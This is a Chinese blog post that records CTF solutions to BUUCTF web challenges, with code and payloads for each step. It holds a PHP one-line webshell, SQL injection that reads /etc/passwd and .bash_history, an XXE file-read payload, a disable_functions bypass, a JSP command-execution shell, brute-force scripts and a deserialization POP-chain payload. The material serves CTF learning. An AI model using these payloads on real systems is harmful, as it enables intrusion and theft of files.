BUUCTF刷题记录(5)

文章目录

  • web
    • [GXYCTF2019]BabyUpload
    • [网鼎杯 2018]Comment
    • [RoarCTF 2019]Simple Upload
    • [NCTF2019]Fake XML cookbook
    • [极客大挑战 2019]RCE ME
    • bestphp's revenge(未完成)
    • [WUSTCTF2020]朴实无华
    • [WUSTCTF2020]颜值成绩查询
    • [WUSTCTF2020]easyweb(未完成)
    • [MRCTF2020]Ez_bypass
    • [MRCTF2020]PYWebsite
    • [MRCTF2020]你传你呢
    • [MRCTF2020]套娃
    • [MRCTF2020]Ezaudit
    • [MRCTF2020]Ezpop

web

打ctf(×)
被ctf打(√)

[GXYCTF2019]BabyUpload

过滤了htaccess,ph后缀,还限制了

GIF89a
<script language="php">@eval($_POST['pass']);</script>

看了wp发现是可以上传htaccess的,或者使用竞争上传。
我这里还是使用htaccess,首先抓包修改Content-type类型为image/jpeg
BUUCTF刷题记录(5)_第1张图片
接下来上传xxx.jpg,发现路径是一样的,即可使用蚁剑连接
BUUCTF刷题记录(5)_第2张图片
混了一题,以后可以试试竞争上传

[网鼎杯 2018]Comment

首先进行目录扫描,发现了有git泄露
在这里插入图片描述
但发现文件不全,在控制台发现
BUUCTF刷题记录(5)_第3张图片
那么就要修复git文件,使用大佬的脚本进行修复王一航/GitHacker
python GitHack.py http://04955dbc-ce5a-46d7-8442-c5168d1078cf.node3.buuoj.cn/.git/
进入新增的目录,git log --reflog,查看更改历史
BUUCTF刷题记录(5)_第4张图片
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
在这里插入图片描述
得到代码如下:


include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

题目首先给了账号密码提示,使用burpsuite爆破即可
BUUCTF刷题记录(5)_第5张图片
得到密码为zhangwei666,然后进入发帖
BUUCTF刷题记录(5)_第6张图片

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

do=write的时候我们对categroy等变量进行了转义,每个引号、反斜杠等符号前都会加上一个反斜杠(数据库会自动清除反斜杠)。

$category = mysql_fetch_array($result)['category'];

而在do=comment的时候会直接从数据库中对categroy进行调用,没有任何过滤,这就导致了二次注入。
发帖在categroy处填入',content=database(),/*
BUUCTF刷题记录(5)_第7张图片
随后进入帖子,提交评论*/#
BUUCTF刷题记录(5)_第8张图片
此时我们的sql语句变为:

$sql = "insert into comment
            set category = '11',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

#只能注释一行,所以要用/**/
然后利用load_file()函数读取文件
',content=(select(load_file('/etc/passwd'))),/*
BUUCTF刷题记录(5)_第9张图片
接下来读取文件,注意看到/home/www下以bash身份运行:',content=(select(load_file("/home/www/.bash_history"))),/*
BUUCTF刷题记录(5)_第10张图片
接下来读取文件,但不能完全显示,使用16进制编码
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
BUUCTF刷题记录(5)_第11张图片
读取文件即可:
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
BUUCTF刷题记录(5)_第12张图片
参考:
网鼎杯2018 comment
[网鼎杯 2018]Comment

[RoarCTF 2019]Simple Upload

题目给出了源码:

 
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
} 

又不会了,参考大佬wp,这里借鉴一下:
Think PHP 上传默认路径:
默认上传路径是/home/index/upload
Think PHP upload()多文件上传:
think PHP里的upload()函数在不传参的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测,至于为什么上传两次1.txt,是为了获取php文件的后缀,因为这里的后缀命名方式运用了uniqid函数,它是基于微秒的当前时间来更改文件名的,两个同时上传生成的文件名相差不会太远。
ThinkPHP 上传文件名爆破
先上传一个正常文件再上传一个木马文件,然后再上传一个正常文件,然后根据第一和第三个正常文件的文件名之间的差异,爆破出我们上传的木马文件

import requests
url = 'http://d3ee0a32-992d-4d80-b55f-8099edb2bf6f.node3.buuoj.cn/index.php/Home/Index/upload'
file1 = {'file':open('1.txt','r')}
file2 = {'file[]':open('1.php','r')} #upload()不传参时即是批量上传所以用[]

r = requests.post(url,files = file1)
print r.text

r = requests.post(url,files = file2)
print r.text

r = requests.post(url, files = file1)
print r.text

BUUCTF刷题记录(5)_第13张图片
发现后5位有变化,剩下就是爆破了,在1.php写下一句话木马,师傅脚本爆破:

import requests
import time
str='0123456789abcdef'
for i in str:
    for j in str:
        for k in str:
            for o in str:
                for p in str:
                    url = "http://d3ee0a32-992d-4d80-b55f-8099edb2bf6f.node3.buuoj.cn/Public/Uploads/2020-04-01/5e847bce"+i+j+k+o+p+".php"
                    r = requests.get(url)
                    if r.status_code == 429:
                    	time.sleep(0.1)
                    	continue
                	elif r.status_code != 404:
                    	print(url)
                    	break

由于buuctf有限制,一秒访问10次,所以等了一大大大会,跑了一晚上,结果网断了,第二天继续跑,终于跑出来了qaq
BUUCTF刷题记录(5)_第14张图片
在这里插入图片描述
参考大佬文章:
RoarCTF2019 Writeup
王叹之:[RoarCTF 2019]Simple Upload
[RoarCTF 2019]Simple Upload

[NCTF2019]Fake XML cookbook

之前没怎么见过xee,参考了wp,学习一波
得到一个登陆页面,查看源代码得到关键信息
BUUCTF刷题记录(5)_第15张图片

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "" + username + "" + password + ""; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

XML漏洞:从XML相关一步一步到XXE漏洞
抓包使用payload

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>123</password></user>

BUUCTF刷题记录(5)_第16张图片
参考:[NCTF2019]Fake XML cookbook

[极客大挑战 2019]RCE ME

给出了源代码:


error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}
// ?>

控制长度小于40,不允许输入数字和字母的命令执行,我之前看过这一题,给了个getflag可以直接用,但这题没有,首先读取phpinfo()

$_="`{{{"^"?<>/"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=assert&__=phpinfo()

发现很多函数被禁了
BUUCTF刷题记录(5)_第17张图片
然后我们连上蚁剑

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['a'])

在根目录看到flag和readflag
BUUCTF刷题记录(5)_第18张图片
发现命令无法成功执行
BUUCTF刷题记录(5)_第19张图片
接下来就是绕过disable_functions了,这里用师傅的脚本:通过LD_PRELOA绕过disable_functions
在/var/tmp/目录存在上传权限,上传exp
BUUCTF刷题记录(5)_第20张图片
使用payload:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

BUUCTF刷题记录(5)_第21张图片另外一个师傅的文章中构造了取反,学习一下:
(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
BUUCTF刷题记录(5)_第22张图片

还可以上传:PHP 7.0-7.4 disable_functions bypass
参考:
bypass_disable_functions
[BUUOJ记录] [极客大挑战 2019]RCE ME
BUUCTF:[极客大挑战 2019]RCE ME

bestphp’s revenge(未完成)

给出了源代码:


highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

退坑退坑,web狗就此阵亡
参考:刷题记录:[LCTF]bestphp’s revenge

[WUSTCTF2020]朴实无华

看wp写一下武汉科技大学的题目,之前太菜没写出来
首先查看robots.txt
在这里插入图片描述
得到一个假的flag,后面是查看消息头得到fl4g.php,没想到
BUUCTF刷题记录(5)_第23张图片
得到源码:


header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
"
; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
"
; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
"
; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>

第一关绕过intval()函数,intval()可以处理的不仅仅是十进制,还有八进制、十六进制、科学计数法等
按照师傅的方式在本地运行了一下,发现不同版本结果是不一样的
BUUCTF刷题记录(5)_第24张图片
BUUCTF刷题记录(5)_第25张图片
在这里插入图片描述
那么就可以使用num=1e5绕过第一关了
第二关需要找一个0e+数字的字符串,然后md5它自身仍为0e开头。师傅脚本:

import hashlib

for i in range(0,10**33):
    i = str(i)
    # i = i.zfill(33)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    if md5[0:2] == '0e' and md5[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break
    else:
        print("trying {}".format(num))

得到0e215962017,md5为0e291242476940776845150308577824
第三关命令执行,但不能有空格,不能cat
首先get_flag=ls查看文件
在这里插入图片描述
我这里使用的是tac读取flag
get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
BUUCTF刷题记录(5)_第26张图片

师傅用的:
get_flag=more${IFS}`ls`
get_flag=ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

参考:Y1ng:武汉科技大学WUST-CTF 2020 Writeup

[WUSTCTF2020]颜值成绩查询

这个题没想到,我怎么都是student number not exists.,最后看wp发现禁用了and,改为&&即可,空格使用/**/即可布尔盲注
BUUCTF刷题记录(5)_第27张图片
得到第一个数字为c,爆出数据库为ctf,上Y1ng师傅的脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#颖奇L'Amore www.gem-love.com #转载请勿删除水印
import requests
from urllib.parse import *
res = ''
alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

for i in range(1,100):
	for char in alphabet:
		# information_schema,ctf
		# payload = "select/**/group_concat(schema_name)/**/from/**/information_schema.schemata"

		#flag,score
		# payload = "select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()" 

		#flag,value,id,name,score
		# payload = 'select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()'
		
		#wctf2020{e@sy_sq1_and_y0u_sc0re_1t}
		payload = "select/**/group_concat(value)/**/from/**/flag"
		payload = quote(payload)
		url='http://101.200.53.102:10114/?stunum=2/(ascii(substr(({}),{},1))={})'.format(payload, i, ord(char))
		r = requests.get(url)
		# print(r.text[2473:2499])
		if '666' in r.text:
			res += char
			print(res)
			break

参考:Y1ng:武汉科技大学WUST-CTF 2020 Writeup

查看官方wp发现大小写绕过或者双写绕过,直接联合查询即可。。。。还是水平不够,没试出来

-1/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

BUUCTF刷题记录(5)_第28张图片

-1/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'

BUUCTF刷题记录(5)_第29张图片
-1/**/uniounionn/**/select/**/1,2,value/**/from/**/flag
BUUCTF刷题记录(5)_第30张图片
参考:WUST-CTF 2020 官方 Writeup

[WUSTCTF2020]easyweb(未完成)

CVE-2020-1938幽灵猫文件包含
首先上传文件,发现可以任意文件下载,那么下载web-xml
?file=../web.xml
BUUCTF刷题记录(5)_第31张图片
得到有用信息:

<welcome-file-list>
    <welcome-file>/WEB-INF/views/index.jsp</welcome-file>
</welcome-file-list>

然后就不会了,后来看wp来解
首先下载poc:tomcat ajp协议任意属性设置导致的文件读取和文件执行。python2:Tomcat的文件包含及文件读取漏洞利用POC
使用师傅的带回显的命令执行的上传文件1.jsp:

<%@ page import="java.io.*"%> 
<%
int a;
out.print("Y1ng   ");
Process child = Runtime.getRuntime().exec("ls");
InputStream in = child.getInputStream();
while ( in.read() != -1) { 
	a = in.read();
	out.print((char)a); 
}
in.close();
%>

上传获取路径,然后使用poc,但发现无效
BUUCTF刷题记录(5)_第32张图片
发现要是用内网访问,使用linux-labs,然后使用xftp将poc拷入进靶机使用
在这里插入图片描述

参考:Y1ng:武汉科技大学WUST-CTF 2020 Writeup

[MRCTF2020]Ez_bypass

给出了源码:

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

第一个数组绕过
?gg[]=1&id[]=2
或者md5强碰撞,直接上payload:第一时间想的md5强碰撞。。。。

?gg=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&id=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

成功过第一关,第二关更简单,弱类型即可
passwd=1234567a
BUUCTF刷题记录(5)_第33张图片

[MRCTF2020]PYWebsite

首先F12查看源码得到关键信息:
在这里插入图片描述

 function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
    }

不知道咋办,看wp发现直接读取flag.php
BUUCTF刷题记录(5)_第34张图片
发现是查看IP,那么伪造XFF:127.0.0.1试试
BUUCTF刷题记录(5)_第35张图片
参考:Y1ng:MRCTF 2020 Writeup

[MRCTF2020]你传你呢

测得禁止上传后缀带ph的,那么试试.htaccess
BUUCTF刷题记录(5)_第36张图片
成功上传,那么上传xxx.jpg即可被解析为php
在这里插入图片描述
后面蚁剑即可得到flag

[MRCTF2020]套娃

查看源码得到:

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

第一个if判断:
php会把空格( )或者点(.)自动替换成下划线(_),绕过方法:

  1. %5F
  2. b.u.p.t(点代替_)
  3. b u p t(空格代替_)

这个题ban掉了_的编码值%5f,可以用另外两种来解
第二个if判断:
prep_match()正则匹配,使用%0a换行污染绕过

最终Payload:b u p t=23333%0ab.u.p.t=23333%0a
BUUCTF刷题记录(5)_第37张图片
进入secrettw.php查看源码得到JsFuck,放入F12运行
BUUCTF刷题记录(5)_第38张图片
POST一个Merak=1,得到源码:

 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."
"
; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>

首先使用data伪协议?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
BUUCTF刷题记录(5)_第39张图片
然后伪造ip,发现Client-IP可以使用,Client-IP: 127.0.0.1

最后解密部分,使用师傅的脚本:


  function enc($payload){ 
      for($i=0; $i<strlen($payload); $i++){
        $re .= chr(ord($payload[$i])-$i*2);  
      }
      return base64_encode($re);  
  }
  echo enc('flag.php');
  //flag.php加密后得到:ZmpdYSZmXGI=
?>

最后传入?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
BUUCTF刷题记录(5)_第40张图片
或者不使用base64编码也可以?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
参考:烨:[MRCTF]Web WriteUp
Y1ng:MRCTF 2020 Writeup

[MRCTF2020]Ezaudit

首先扫描目录,发现源码泄露,有www.zip,和一个登录页面login.html。下载得到index.php:

 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "".$row["username"]."".$row["flag"]."";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

有三个参数: username(crispr)password(万能密码)Private_key(私钥)
我们首先用脚本将伪随机数转换成php_mt_seed可以识别的数据,并爆破出mt_rand()的种子。

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print (res)

BUUCTF刷题记录(5)_第41张图片
得到数据:

36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

使用我们的php_mt_seed爆破得到种子
BUUCTF刷题记录(5)_第42张图片
得到seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)
最后使用脚本爆破私钥


mt_srand(1775196155);
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

 function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
echo public_key()."\n";
echo private_key();
?>

最后在php版本为7.0.33得到私钥XuNhoueCDCGc
BUUCTF刷题记录(5)_第43张图片
BUUCTF刷题记录(5)_第44张图片
在login.html登录获得flag
BUUCTF刷题记录(5)_第45张图片
参考:烨:[MRCTF]Web WriteUp

[MRCTF2020]Ezpop

题目给出了源代码:(官方解释如下)


//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//8.触发这个include,利用php base64 wrapper 读flag
    }
    public function __invoke(){
        $this->append($this->var);//7.然后会调用到这里
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"
; } public function __toString(){ return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象 } public function __wakeup(){//2.如果pop是个Show,那么调用这里 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p;//5.触发到这里 return $function();//6.()会调用__invoke,我们这里选择Modifier对象 } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']);//1.反序列调用这里 } else{ $a=new Show; highlight_file(__FILE__); }

PHP魔术方法:

__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() //当调用一个对象中的不能用的方法的时候就会执行这个函数

构造pop链:
调用__wakeup()->触发__tostring()->source属性不存在,触发Test类的__get()函数 -> 触发__invoke()函数 -> include()包含文件(伪协议)
师傅exp代码如下:

 
class Modifier{
    protected $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;
}

$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
echo urlencode(serialize($s));

运行得到,传入即可:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
在这里插入图片描述
BUUCTF刷题记录(5)_第46张图片
参考:烨:[MRCTF]Web WriteUp

菜鸡一枚,水平有限,本文仅为做题的记录方面以后查询学习,如有错误请多多指正

你可能感兴趣的:(ctf,刷题,php)